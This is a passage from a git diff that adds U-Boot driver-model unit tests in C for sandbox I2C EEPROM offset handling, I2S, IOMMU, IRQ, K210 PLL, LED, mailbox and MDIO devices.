+ ut_assertok(dm_i2c_write(dev, 10 /* ignored */, (uint8_t *)"AB", 2));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq_mem("AB\0\0\0\0", buf, sizeof(buf));
+ ut_asserteq(0, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+
+ /* Offset length 1 */
+ sandbox_i2c_eeprom_set_offset_len(eeprom, 1);
+ ut_assertok(i2c_set_chip_offset_len(dev, 1));
+ ut_assertok(dm_i2c_write(dev, 2, (uint8_t *)"AB", 2));
+ ut_asserteq(2, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq_mem("ABAB\0", buf, sizeof(buf));
+ ut_asserteq(0, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+
+ /* Offset length 2 boundary - check model wrapping */
+ sandbox_i2c_eeprom_set_offset_len(eeprom, 2);
+ ut_assertok(i2c_set_chip_offset_len(dev, 2));
+ ut_assertok(dm_i2c_write(dev, 0xFF, (uint8_t *)"A", 1));
+ ut_asserteq(0xFF, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+ ut_assertok(dm_i2c_write(dev, 0x100, (uint8_t *)"B", 1));
+ ut_asserteq(0x100, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+ ut_assertok(dm_i2c_write(dev, 0x101, (uint8_t *)"C", 1));
+ ut_asserteq(0x101, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+ ut_assertok(dm_i2c_read(dev, 0xFF, buf, 5));
+ ut_asserteq_mem("ABCAB", buf, sizeof(buf));
+ ut_asserteq(0xFF, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+
+ /* Offset length 2 */
+ sandbox_i2c_eeprom_set_offset_len(eeprom, 2);
+ ut_assertok(i2c_set_chip_offset_len(dev, 2));
+ ut_assertok(dm_i2c_write(dev, 0x2020, (uint8_t *)"AB", 2));
+ ut_assertok(dm_i2c_read(dev, 0x2020, buf, 5));
+ ut_asserteq_mem("AB\0\0\0", buf, sizeof(buf));
+ ut_asserteq(0x2020, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+
+ /* Offset length 3 */
+ sandbox_i2c_eeprom_set_offset_len(eeprom, 3);
+ ut_assertok(i2c_set_chip_offset_len(dev, 3));
+ ut_assertok(dm_i2c_write(dev, 0x303030, (uint8_t *)"AB", 2));
+ ut_assertok(dm_i2c_read(dev, 0x303030, buf, 5));
+ ut_asserteq_mem("AB\0\0\0", buf, sizeof(buf));
+ ut_asserteq(0x303030, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+
+ /* Offset length 4 */
+ sandbox_i2c_eeprom_set_offset_len(eeprom, 4);
+ ut_assertok(i2c_set_chip_offset_len(dev, 4));
+ ut_assertok(dm_i2c_write(dev, 0x40404040, (uint8_t *)"AB", 2));
+ ut_assertok(dm_i2c_read(dev, 0x40404040, buf, 5));
+ ut_asserteq_mem("AB\0\0\0", buf, sizeof(buf));
+ ut_asserteq(0x40404040, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+
+ /* Restore defaults */
+ sandbox_i2c_eeprom_set_offset_len(eeprom, 1);
+
+ return 0;
+}
+DM_TEST(dm_test_i2c_offset, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_i2c_addr_offset(struct unit_test_state *uts)
+{
+ struct udevice *eeprom;
+ struct udevice *dev;
+ u8 buf[5];
+
+ ut_assertok(i2c_get_chip_for_busnum(busnum, chip, 1, &dev));
+
+ /* Do a transfer so we can find the emulator */
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_assertok(uclass_first_device_err(UCLASS_I2C_EMUL, &eeprom));
+
+ /* Offset length 0 */
+ sandbox_i2c_eeprom_set_offset_len(eeprom, 0);
+ sandbox_i2c_eeprom_set_chip_addr_offset_mask(eeprom, 0x3);
+ ut_assertok(i2c_set_chip_offset_len(dev, 0));
+ ut_assertok(i2c_set_chip_addr_offset_mask(dev, 0x3));
+ ut_assertok(dm_i2c_write(dev, 0x3, (uint8_t *)"AB", 2));
+ ut_assertok(dm_i2c_read(dev, 0x3, buf, 5));
+ ut_asserteq_mem("AB\0\0\0\0", buf, sizeof(buf));
+ ut_asserteq(0x3, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+ ut_asserteq(chip | 0x3, sanbox_i2c_eeprom_get_prev_addr(eeprom));
+
+ /* Offset length 1 */
+ sandbox_i2c_eeprom_set_offset_len(eeprom, 1);
+ sandbox_i2c_eeprom_set_chip_addr_offset_mask(eeprom, 0x3);
+ ut_assertok(i2c_set_chip_offset_len(dev, 1));
+ ut_assertok(i2c_set_chip_addr_offset_mask(dev, 0x3));
+ ut_assertok(dm_i2c_write(dev, 0x310, (uint8_t *)"AB", 2));
+ ut_assertok(dm_i2c_read(dev, 0x310, buf, 5));
+ ut_asserteq_mem("AB\0\0\0\0", buf, sizeof(buf));
+ ut_asserteq(0x310, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+ ut_asserteq(chip | 0x3, sanbox_i2c_eeprom_get_prev_addr(eeprom));
+
+ /* Offset length 2 */
+ sandbox_i2c_eeprom_set_offset_len(eeprom, 2);
+ sandbox_i2c_eeprom_set_chip_addr_offset_mask(eeprom, 0x3);
+ ut_assertok(i2c_set_chip_offset_len(dev, 2));
+ ut_assertok(i2c_set_chip_addr_offset_mask(dev, 0x3));
+ ut_assertok(dm_i2c_write(dev, 0x32020, (uint8_t *)"AB", 2));
+ ut_assertok(dm_i2c_read(dev, 0x32020, buf, 5));
+ ut_asserteq_mem("AB\0\0\0\0", buf, sizeof(buf));
+ ut_asserteq(0x32020, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+ ut_asserteq(chip | 0x3, sanbox_i2c_eeprom_get_prev_addr(eeprom));
+
+ /* Offset length 3 */
+ sandbox_i2c_eeprom_set_offset_len(eeprom, 3);
+ sandbox_i2c_eeprom_set_chip_addr_offset_mask(eeprom, 0x3);
+ ut_assertok(i2c_set_chip_offset_len(dev, 3));
+ ut_assertok(i2c_set_chip_addr_offset_mask(dev, 0x3));
+ ut_assertok(dm_i2c_write(dev, 0x3303030, (uint8_t *)"AB", 2));
+ ut_assertok(dm_i2c_read(dev, 0x3303030, buf, 5));
+ ut_asserteq_mem("AB\0\0\0\0", buf, sizeof(buf));
+ ut_asserteq(0x3303030, sanbox_i2c_eeprom_get_prev_offset(eeprom));
+ ut_asserteq(chip | 0x3, sanbox_i2c_eeprom_get_prev_addr(eeprom));
+
+ /* Restore defaults */
+ sandbox_i2c_eeprom_set_offset_len(eeprom, 1);
+ sandbox_i2c_eeprom_set_chip_addr_offset_mask(eeprom, 0);
+
+ return 0;
+}
+
+DM_TEST(dm_test_i2c_addr_offset, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_i2c_reg_clrset(struct unit_test_state *uts)
+{
+ struct udevice *eeprom;
+ struct udevice *dev;
+ u8 buf[5];
+
+ ut_assertok(i2c_get_chip_for_busnum(busnum, chip, 1, &dev));
+
+ /* Do a transfer so we can find the emulator */
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_assertok(uclass_first_device_err(UCLASS_I2C_EMUL, &eeprom));
+
+ /* Dummy data for the test */
+ ut_assertok(dm_i2c_write(dev, 0, "\xff\x00\xff\x00\x10", 5));
+
+ /* Do some clrset tests */
+ ut_assertok(dm_i2c_reg_clrset(dev, 0, 0xff, 0x10));
+ ut_assertok(dm_i2c_reg_clrset(dev, 1, 0x00, 0x11));
+ ut_assertok(dm_i2c_reg_clrset(dev, 2, 0xed, 0x00));
+ ut_assertok(dm_i2c_reg_clrset(dev, 3, 0xff, 0x13));
+ ut_assertok(dm_i2c_reg_clrset(dev, 4, 0x00, 0x14));
+
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq_mem("\x10\x11\x12\x13\x14", buf, sizeof(buf));
+
+ return 0;
+}
+DM_TEST(dm_test_i2c_reg_clrset, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/i2s.c b/test/dm/i2s.c
new file mode 100644
index 00000000000..a3d3a31b6fb
--- /dev/null
+++ b/test/dm/i2s.c
@@ -0,0 +1,32 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2018 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <dm.h>
+#include <i2s.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Basic test of the i2s codec uclass */
+static int dm_test_i2s(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u8 data[3];
+
+ /* check probe success */
+ ut_assertok(uclass_first_device_err(UCLASS_I2S, &dev));
+ data[0] = 1;
+ data[1] = 4;
+ data[2] = 6;
+ ut_assertok(i2s_tx_data(dev, data, ARRAY_SIZE(data)));
+ ut_asserteq(11, sandbox_get_i2s_sum(dev));
+ ut_assertok(i2s_tx_data(dev, data, 1));
+ ut_asserteq(12, sandbox_get_i2s_sum(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_i2s, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/iommu.c b/test/dm/iommu.c
new file mode 100644
index 00000000000..acea5f28971
--- /dev/null
+++ b/test/dm/iommu.c
@@ -0,0 +1,99 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2021 Mark Kettenis <kettenis@openbsd.org>
+ */
+
+#include <dm.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <iommu.h>
+#include <malloc.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <asm/io.h>
+
+static int dm_test_iommu(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ dma_addr_t dva;
+ void *addr;
+
+ ut_assertok(uclass_find_device(UCLASS_IOMMU, 0, &dev));
+ ut_assert(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED));
+
+ /* Probing USB probes the IOMMU through the "iommus" property */
+ ut_assertok(uclass_probe_all(UCLASS_USB));
+ ut_assert(dev_get_flags(dev) & DM_FLAG_ACTIVATED);
+
+ addr = malloc(256);
+ ut_assert(addr);
+
+ ut_assertok(uclass_find_device(UCLASS_USB, 0, &dev));
+ dva = dev_iommu_dma_map(dev, addr, 256);
+ ut_assert(dva >= 0x89abc000 && dva < 0x89ac00000);
+
+ dev_iommu_dma_unmap(dev, dva, 256);
+
+ free(addr);
+
+ return 0;
+}
+DM_TEST(dm_test_iommu, UT_TESTF_SCAN_FDT);
+
+static int dm_test_iommu_noiommu(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ dma_addr_t dva;
+ void *addr;
+
+ ut_assertok(uclass_find_device(UCLASS_IOMMU, 0, &dev));
+ ut_assert(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED));
+
+ /* Probing ethernet should not probe the IOMMU */
+ ut_assertok(uclass_probe_all(UCLASS_ETH));
+ ut_assert(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED));
+
+ addr = malloc(256);
+ ut_assert(addr);
+
+ ut_assertok(uclass_find_device(UCLASS_ETH, 0, &dev));
+ dva = dev_iommu_dma_map(dev, addr, 256);
+ ut_assert(dva == virt_to_phys(addr));
+
+ dev_iommu_dma_unmap(dev, dva, 256);
+
+ free(addr);
+
+ return 0;
+}
+DM_TEST(dm_test_iommu_noiommu, UT_TESTF_SCAN_FDT);
+
+static int dm_test_iommu_pci(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_find_device(UCLASS_IOMMU, 0, &dev));
+ ut_assert(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED));
+
+ /* Probing P2SB probes the IOMMU through the "iommu-map" property */
+ ut_assertok(uclass_probe_all(UCLASS_P2SB));
+ ut_assert(dev_get_flags(dev) & DM_FLAG_ACTIVATED);
+
+ return 0;
+}
+DM_TEST(dm_test_iommu_pci, UT_TESTF_SCAN_FDT);
+
+static int dm_test_iommu_pci_noiommu(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_find_device(UCLASS_IOMMU, 0, &dev));
+ ut_assert(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED));
+
+ /* Probing PMC should not probe the IOMMU */
+ ut_assertok(uclass_probe_all(UCLASS_ACPI_PMC));
+ ut_assert(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED));
+
+ return 0;
+}
+DM_TEST(dm_test_iommu_pci_noiommu, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/irq.c b/test/dm/irq.c
new file mode 100644
index 00000000000..d22772ab769
--- /dev/null
+++ b/test/dm/irq.c
@@ -0,0 +1,99 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for irq uclass
+ *
+ * Copyright 2019 Google LLC
+ */
+
+#include <dm.h>
+#include <irq.h>
+#include <acpi/acpi_device.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/ut.h>
+
+/* Base test of the irq uclass */
+static int dm_test_irq_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_err(UCLASS_IRQ, &dev));
+
+ ut_asserteq(5, irq_route_pmc_gpio_gpe(dev, 4));
+ ut_asserteq(-ENOENT, irq_route_pmc_gpio_gpe(dev, 14));
+
+ ut_assertok(irq_set_polarity(dev, 4, true));
+ ut_asserteq(-EINVAL, irq_set_polarity(dev, 14, true));
+
+ ut_assertok(irq_snapshot_polarities(dev));
+ ut_assertok(irq_restore_polarities(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_irq_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test of irq_first_device_type() */
+static int dm_test_irq_type(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(irq_first_device_type(SANDBOX_IRQT_BASE, &dev));
+ ut_asserteq(-ENODEV, irq_first_device_type(X86_IRQT_BASE, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_irq_type, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test of irq_read_and_clear() */
+static int dm_test_read_and_clear(struct unit_test_state *uts)
+{
+ struct irq irq;
+
+ ut_assertok(irq_first_device_type(SANDBOX_IRQT_BASE, &irq.dev));
+ irq.id = SANDBOX_IRQN_PEND;
+ ut_asserteq(0, irq_read_and_clear(&irq));
+ ut_asserteq(0, irq_read_and_clear(&irq));
+ ut_asserteq(0, irq_read_and_clear(&irq));
+ ut_asserteq(1, irq_read_and_clear(&irq));
+ ut_asserteq(0, irq_read_and_clear(&irq));
+
+ return 0;
+}
+DM_TEST(dm_test_read_and_clear, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test of irq_request() */
+static int dm_test_request(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct irq irq;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_FDT, &dev));
+ ut_asserteq_str("a-test", dev->name);
+ ut_assertok(irq_get_by_index(dev, 0, &irq));
+ ut_asserteq(3, irq.id);
+
+ return 0;
+}
+DM_TEST(dm_test_request, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test of irq_get_acpi() */
+static int dm_test_irq_get_acpi(struct unit_test_state *uts)
+{
+ struct acpi_irq airq;
+ struct udevice *dev;
+ struct irq irq;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_FDT, &dev));
+ ut_assertok(irq_get_by_index(dev, 0, &irq));
+
+ /* see sandbox_get_acpi() */
+ ut_assertok(irq_get_acpi(&irq, &airq));
+ ut_asserteq(3, airq.pin);
+ ut_asserteq(ACPI_IRQ_LEVEL_TRIGGERED, airq.mode);
+ ut_asserteq(ACPI_IRQ_ACTIVE_HIGH, airq.polarity);
+ ut_asserteq(ACPI_IRQ_SHARED, airq.shared);
+ ut_asserteq(ACPI_IRQ_WAKE, airq.wake);
+
+ return 0;
+}
+DM_TEST(dm_test_irq_get_acpi, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/k210_pll.c b/test/dm/k210_pll.c
new file mode 100644
index 00000000000..2a581499634
--- /dev/null
+++ b/test/dm/k210_pll.c
@@ -0,0 +1,93 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (C) 2020 Sean Anderson <seanga2@gmail.com>
+ */
+
+/* For DIV_ROUND_DOWN_ULL, defined in linux/kernel.h */
+#include <div64.h>
+#include <dm/test.h>
+#include <k210/pll.h>
+#include <test/ut.h>
+
+static int dm_test_k210_pll_calc_config(u32 rate, u32 rate_in,
+ struct k210_pll_config *best)
+{
+ u64 f, r, od, max_r, inv_ratio;
+ s64 error, best_error;
+
+ best_error = S64_MAX;
+ error = best_error;
+ max_r = min(16ULL, DIV_ROUND_DOWN_ULL(rate_in, 13300000));
+ inv_ratio = DIV_ROUND_CLOSEST_ULL((u64)rate_in << 32, rate);
+
+ /* Brute force it */
+ for (r = 1; r <= max_r; r++) {
+ for (f = 1; f <= 64; f++) {
+ for (od = 1; od <= 16; od++) {
+ u64 vco = DIV_ROUND_CLOSEST_ULL(rate_in * f, r);
+
+ if (vco > 1750000000 || vco < 340000000)
+ continue;
+
+ error = DIV_ROUND_CLOSEST_ULL(f * inv_ratio,
+ r * od);
+ /* The lower 16 bits are spurious */
+ error = abs64((error - BIT_ULL(32))) >> 16;
+ if (error < best_error) {
+ best->r = r;
+ best->f = f;
+ best->od = od;
+ best_error = error;
+ }
+ }
+ }
+ }
+
+ if (best_error == S64_MAX)
+ return -EINVAL;
+ return 0;
+}
+
+static int dm_test_k210_pll_compare(struct k210_pll_config *ours,
+ struct k210_pll_config *theirs)
+{
+ return (u32)ours->f * theirs->r * theirs->od !=
+ (u32)theirs->f * ours->r * ours->od;
+}
+
+static int dm_test_k210_pll(struct unit_test_state *uts)
+{
+ struct k210_pll_config ours, theirs;
+
+ /* General range checks */
+ ut_asserteq(-EINVAL, k210_pll_calc_config(0, 26000000, &theirs));
+ ut_asserteq(-EINVAL, k210_pll_calc_config(390000000, 0, &theirs));
+ ut_asserteq(-EINVAL, k210_pll_calc_config(2000000000, 26000000,
+ &theirs));
+ ut_asserteq(-EINVAL, k210_pll_calc_config(390000000, 2000000000,
+ &theirs));
+ ut_asserteq(-EINVAL, k210_pll_calc_config(1500000000, 20000000,
+ &theirs));
+ ut_asserteq(-EINVAL, k210_pll_calc_config(1750000000, 13300000,
+ &theirs));
+
+ /* Verify we get the same output with brute-force */
+#define compare(rate, rate_in) do { \
+ ut_assertok(dm_test_k210_pll_calc_config(rate, rate_in, &ours)); \
+ ut_assertok(k210_pll_calc_config(rate, rate_in, &theirs)); \
+ ut_assertok(dm_test_k210_pll_compare(&ours, &theirs)); \
+} while (0)
+
+ compare(390000000, 26000000);
+ compare(26000000, 390000000);
+ compare(400000000, 26000000);
+ compare(27000000, 26000000);
+ compare(26000000, 27000000);
+ compare(13300000 * 64, 13300000);
+ compare(21250000, 21250000 * 70);
+ compare(21250000, 1750000000);
+ compare(1750000000, 1750000000);
+
+ return 0;
+}
+DM_TEST(dm_test_k210_pll, 0);
diff --git a/test/dm/led.c b/test/dm/led.c
new file mode 100644
index 00000000000..c28fa044f45
--- /dev/null
+++ b/test/dm/led.c
@@ -0,0 +1,139 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ */
+
+#include <dm.h>
+#include <led.h>
+#include <asm/gpio.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Base test of the led uclass */
+static int dm_test_led_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ /* Get the top-level device */
+ ut_assertok(uclass_get_device(UCLASS_LED, 0, &dev));
+ ut_assertok(uclass_get_device(UCLASS_LED, 1, &dev));
+ ut_assertok(uclass_get_device(UCLASS_LED, 2, &dev));
+ ut_assertok(uclass_get_device(UCLASS_LED, 3, &dev));
+ ut_asserteq(-ENODEV, uclass_get_device(UCLASS_LED, 4, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_led_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test of the LED 'default-state' device tree property */
+static int dm_test_led_default_state(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ /* Check that we handle the default-state property correctly. */
+ ut_assertok(led_get_by_label("sandbox:default_on", &dev));
+ ut_asserteq(LEDST_ON, led_get_state(dev));
+
+ /* Also tests default label behaviour */
+ ut_assertok(led_get_by_label("default_off", &dev));
+ ut_asserteq(LEDST_OFF, led_get_state(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_led_default_state, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test of the led uclass using the led_gpio driver */
+static int dm_test_led_gpio(struct unit_test_state *uts)
+{
+ const int offset = 1;
+ struct udevice *dev, *gpio;
+
+ /*
+ * Check that we can manipulate an LED. LED 0 is connected to GPIO
+ * bank gpio_a, offset 1.
+ */
+ ut_assertok(uclass_get_device(UCLASS_LED, 0, &dev));
+ ut_assertok(uclass_get_device(UCLASS_GPIO, 1, &gpio));
+ ut_asserteq(0, sandbox_gpio_get_value(gpio, offset));
+ ut_assertok(led_set_state(dev, LEDST_ON));
+ ut_asserteq(1, sandbox_gpio_get_value(gpio, offset));
+ ut_asserteq(LEDST_ON, led_get_state(dev));
+
+ ut_assertok(led_set_state(dev, LEDST_OFF));
+ ut_asserteq(0, sandbox_gpio_get_value(gpio, offset));
+ ut_asserteq(LEDST_OFF, led_get_state(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_led_gpio, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that we can toggle LEDs */
+static int dm_test_led_toggle(struct unit_test_state *uts)
+{
+ const int offset = 1;
+ struct udevice *dev, *gpio;
+
+ /*
+ * Check that we can manipulate an LED. LED 0 is connected to GPIO
+ * bank gpio_a, offset 1.
+ */
+ ut_assertok(uclass_get_device(UCLASS_LED, 0, &dev));
+ ut_assertok(uclass_get_device(UCLASS_GPIO, 1, &gpio));
+ ut_asserteq(0, sandbox_gpio_get_value(gpio, offset));
+ ut_assertok(led_set_state(dev, LEDST_TOGGLE));
+ ut_asserteq(1, sandbox_gpio_get_value(gpio, offset));
+ ut_asserteq(LEDST_ON, led_get_state(dev));
+
+ ut_assertok(led_set_state(dev, LEDST_TOGGLE));
+ ut_asserteq(0, sandbox_gpio_get_value(gpio, offset));
+ ut_asserteq(LEDST_OFF, led_get_state(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_led_toggle, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test obtaining an LED by label */
+static int dm_test_led_label(struct unit_test_state *uts)
+{
+ struct udevice *dev, *cmp;
+
+ ut_assertok(led_get_by_label("sandbox:red", &dev));
+ ut_asserteq(1, device_active(dev));
+ ut_assertok(uclass_get_device(UCLASS_LED, 0, &cmp));
+ ut_asserteq_ptr(dev, cmp);
+
+ ut_assertok(led_get_by_label("sandbox:green", &dev));
+ ut_asserteq(1, device_active(dev));
+ ut_assertok(uclass_get_device(UCLASS_LED, 1, &cmp));
+ ut_asserteq_ptr(dev, cmp);
+
+ ut_asserteq(-ENODEV, led_get_by_label("sandbox:blue", &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_led_label, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test LED blinking */
+#ifdef CONFIG_LED_BLINK
+static int dm_test_led_blink(struct unit_test_state *uts)
+{
+ const int offset = 1;
+ struct udevice *dev, *gpio;
+
+ /*
+ * Check that we get an error when trying to blink an LED, since it is
+ * not supported by the GPIO LED driver.
+ */
+ ut_assertok(uclass_get_device(UCLASS_LED, 0, &dev));
+ ut_assertok(uclass_get_device(UCLASS_GPIO, 1, &gpio));
+ ut_asserteq(0, sandbox_gpio_get_value(gpio, offset));
+ ut_asserteq(-ENOSYS, led_set_state(dev, LEDST_BLINK));
+ ut_asserteq(0, sandbox_gpio_get_value(gpio, offset));
+ ut_asserteq(LEDST_OFF, led_get_state(dev));
+ ut_asserteq(-ENOSYS, led_set_period(dev, 100));
+
+ return 0;
+}
+DM_TEST(dm_test_led_blink, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+#endif
diff --git a/test/dm/mailbox.c b/test/dm/mailbox.c
new file mode 100644
index 00000000000..14f72d58d1c
--- /dev/null
+++ b/test/dm/mailbox.c
@@ -0,0 +1,31 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2016, NVIDIA CORPORATION.
+ */
+
+#include <dm.h>
+#include <malloc.h>
+#include <dm/test.h>
+#include <asm/mbox.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_mailbox(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ uint32_t msg;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "mbox-test", &dev));
+ ut_assertok(sandbox_mbox_test_get(dev));
+
+ ut_asserteq(-ETIMEDOUT, sandbox_mbox_test_recv(dev, &msg));
+ ut_assertok(sandbox_mbox_test_send(dev, 0xaaff9955UL));
+ ut_assertok(sandbox_mbox_test_recv(dev, &msg));
+ ut_asserteq(msg, 0xaaff9955UL ^ SANDBOX_MBOX_PING_XOR);
+ ut_asserteq(-ETIMEDOUT, sandbox_mbox_test_recv(dev, &msg));
+
+ ut_assertok(sandbox_mbox_test_free(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_mailbox, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/mdio.c b/test/dm/mdio.c
new file mode 100644
index 00000000000..7ececf37ccc
--- /dev/null
+++ b/test/dm/mdio.c
@@ -0,0 +1,57 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2019
+ * Alex Marginean, NXP
+ */
+
+#include <dm.h>
+#include <log.h>
+#include <miiphy.h>
+#include <misc.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* macros copied over from mdio_sandbox.c */
+#define SANDBOX_PHY_ADDR 5
+#define SANDBOX_PHY_REG_CNT 2
+
+/* test using 1st register, 0 */
+#define SANDBOX_PHY_REG 0
+
+#define TEST_REG_VALUE 0xabcd
+
+static int dm_test_mdio(struct unit_test_state *uts)
+{
+ struct uclass *uc;
+ struct udevice *dev;
+ struct mdio_ops *ops;
+ u16 reg;
+
+ ut_assertok(uclass_get(UCLASS_MDIO, &uc));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MDIO, "mdio-test", &dev));
+
+ ops = mdio_get_ops(dev);
+ ut_assertnonnull(ops);
+ ut_assertnonnull(ops->read);
+ ut_assertnonnull(ops->write);
+
+ ut_assertok(dm_mdio_write(dev, SANDBOX_PHY_ADDR, MDIO_DEVAD_NONE,
+ SANDBOX_PHY_REG, TEST_REG_VALUE));
+ reg = dm_mdio_read(dev, SANDBOX_PHY_ADDR, MDIO_DEVAD_NONE,
+ SANDBOX_PHY_REG);
+ ut_asserteq(reg, TEST_REG_VALUE);
+
+ ut_assert(dm_mdio_read(dev, SANDBOX_PHY_ADDR + 1, MDIO_DEVAD_NONE,
+ SANDBOX_PHY_REG) != 0);
+
+ ut_assertok(dm_mdio_reset(dev));
+ reg = dm_mdio_read(dev, SANDBOX_PHY_ADDR, MDIO_DEVAD_NONE,
+ SANDBOX_PHY_REG);
+ ut_asserteq(reg, 0);
+
+ return 0;
+}
+
+DM_TEST(dm_test_mdio, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/mdio_mux.c b/test/dm/mdio_mux.c
new file mode 100644
index 00000000000..33a7e972609
--- /dev/null
+++ b/test/dm/mdio_mux.c
@@ -0,0 +1,80 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2019
+ * Alex Marginean, NXP
+ */
+
+#include <dm.h>
+#include <miiphy.h>
+#include <misc.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* macros copied over from mdio_sandbox.c */
+#define SANDBOX_PHY_ADDR 5
+#define SANDBOX_PHY_REG_CNT 2
+
+#define TEST_REG_VALUE 0xabcd
+
+static int dm_test_mdio_mux(struct unit_test_state *uts)
+{
+ struct uclass *uc;
+ struct udevice *mux;
+ struct udevice *mdio_ch0, *mdio_ch1, *mdio;
+ struct mdio_ops *ops, *ops_parent;
+ struct mdio_mux_ops *mmops;
+ u16 reg;
+
+ ut_assertok(uclass_get(UCLASS_MDIO_MUX, &uc));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MDIO_MUX, "mdio-mux-test",
+ &mux));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MDIO, "mdio-ch-test@0",
+ &mdio_ch0));
+ ut_assertok(uclass_get_device_by_name(UCLASS_MDIO, "mdio-ch-test@1",
+ &mdio_ch1));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MDIO, "mdio-test", &mdio));
+
+ ops = mdio_get_ops(mdio_ch0);
+ ut_assertnonnull(ops);
+ ut_assertnonnull(ops->read);
+ ut_assertnonnull(ops->write);
+
+ mmops = mdio_mux_get_ops(mux);
+ ut_assertnonnull(mmops);
+ ut_assertnonnull(mmops->select);
+
+ ops_parent = mdio_get_ops(mdio);
+ ut_assertnonnull(ops);
+ ut_assertnonnull(ops->read);
+
+ /*
+ * mux driver sets last register on the emulated PHY whenever a group
+ * is selected to the selection #. Just reading that register from
+ * either of the child buses should return the id of the child bus
+ */
